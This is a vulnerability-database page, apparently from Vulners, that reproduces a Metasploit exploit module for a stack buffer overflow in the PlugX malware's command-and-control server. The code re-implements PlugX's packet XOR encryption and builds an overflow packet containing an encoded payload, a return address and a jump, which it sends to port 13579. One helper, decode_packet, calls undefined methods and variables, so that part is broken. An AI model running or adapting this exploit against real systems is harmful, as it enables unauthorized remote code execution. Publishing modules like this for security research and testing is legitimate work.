Lucene search
K

PlugX Controller Stack Buffer Overflow

🗓️ 29 Jul 2017 16:36:42Reported by Professor PlumType 
metasploit
 metasploit
🔗 www.rapid7.com👁 36 Views

PlugX Controller Stack Buffer Overflow exploit for the C2 server

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PlugX Controller Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the PlugX Controller (C2 server).
      },
      'Author'         => 'Professor Plum',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 0xe000,
          'BadChars' => '',
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
        },
      'Platform'       => 'win',
      'DisclosureDate' => '2017-07-27',
      'Targets'        =>
        [
          ['PlugX Type I (old)', { 'xor' => 0, 'callebp' => 0x004045c4 }],
          ['PlugX Type I',         { 'xor' => 1, 'callebp' => 0x004045c4 }],
          ['PlugX Type II',        { 'xor' => 2, 'callebp' => 0x004045c4 }]
        ],
      'Privileged'     => false,
      'DefaultTarget' => 2)
    )

    register_options(
      [
        Opt::RPORT(13579)
      ]
    )
  end

  def xor_stream1(key, src)
    key0 = key1 = key2 = key3 = key
    dst = ''
    for i in 0..(src.size - 1)
      key0 = (key0 + (key0 >> 3) - 0x11111111) & 0xFFFFFFFF
      key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
      key2 = (key2 + 0x44444444 - (key2 << 9)) & 0xFFFFFFFF
      key3 = (key3 + 0x33333333 - (key3 << 7)) & 0xFFFFFFFF
      new_key = (key2 + key3 + key1 + key0) & 0xFF
      res = src[i].ord ^ new_key
      dst += res.chr
    end
    dst
  end

  def xor_stream1a(key, src)
    key0 = key1 = key2 = key3 = key
    dst = ''
    for i in 0..(src.size - 1)
      key0 = (key0 + (key0 >> 3) + 3) & 0xFFFFFFFF
      key1 = (key1 + (key1 >> 5) + 5) & 0xFFFFFFFF
      key2 = (key2 - 7 - (key2 << 9)) & 0xFFFFFFFF
      key3 = (key3 - 9 - (key3 << 7)) & 0xFFFFFFFF
      new_key = (key2 + key3 + key1 + key0) & 0xFF
      res = src[i].ord ^ new_key
      dst += res.chr
    end
    dst
  end

  def xor_stream2(key, data)
    dst = ''
    for i in 0..(data.size - 1)
      key = (((key << 7) & 0xFFFFFFFF) - ((key >> 3) & 0xFFFFFFFF) + i + 0x713A8FC1) & 0xFFFFFFFF
      dst += ((key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ data[i].ord ^ ((key >> 24) & 0xFF)).chr
    end
    dst
  end

  def xor_wrap(key, data)
    if target['xor'] == 0
      return xor_stream1a(key, data)
    elsif target['xor'] == 1
      return xor_stream1(key, data)
    elsif target['xor'] == 2
      return xor_stream2(key, data)
    end
    print_status('Unknown PlugX Type')
  end

  def validate_response(data)
    if data.nil?
      print_status('Server closed connection')
      return false
    end
    if data.empty?
      print_status('No response received')
      return false
    end
    if data.size < 16
      print_status('Invalid packet')
      print_status(data.inspect)
      return false
    end
    key = data[0..4].unpack('I<')[0]
    hdr = xor_wrap(key, data[0..16])
    _x, _flags, _cmd, comp_size, _uncomp_size, _xx = hdr.unpack('I<S<S<S<S<I<')
    if (comp_size + 16) == data.size
      raw = xor_wrap(key, data[16..-1])
      print_status(raw.inspect)
      return true
    end
    false
  end

  def check
    connect
    key = rand(0xFFFFFFFF)
    hh = [key, 0, 0, 0, 0, 0].pack('I<S<S<S<S<I<')
    hdr = xor_wrap(key, hh)
    sock.put([key].pack('I<') + hdr[4..-1])
    if validate_response(sock.get_once || '')
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def decode_packet(data)
    key = data[0..4].unpack('I<')
    _x, flags, _cmd, _comp_size, _uncomp_size, _xx = xorstream2(key, data[0..16]).unpack('I<S<S<S<S<I<')

    buf = xor_stream(key, data[16..-1])
    buf = decompress(buf)
    return the_flags[flags & 0xffff], xx, buf
  end

  def exploit
    print_status("Trying target #{target.name}...")

    l = 0xF008
    pad = 0x18
    a = 0x004045c4
    pktlen = l + pad + 9
    jmp = "\xe9" + [-pktlen].pack('I<')
    key = rand(0xFFFFFFFF)
    hh = [key, 0, 0, pktlen, pktlen, 0].pack('I<S<S<S<S<I<')
    hdr = xor_wrap(key, hh)
    pkt = [key].pack('I<') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('I<') + 'x' * pad + jmp

    connect
    sock.put(pkt)

    print_status('Waiting for response')
    validate_response(sock.get_once)
    disconnect

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation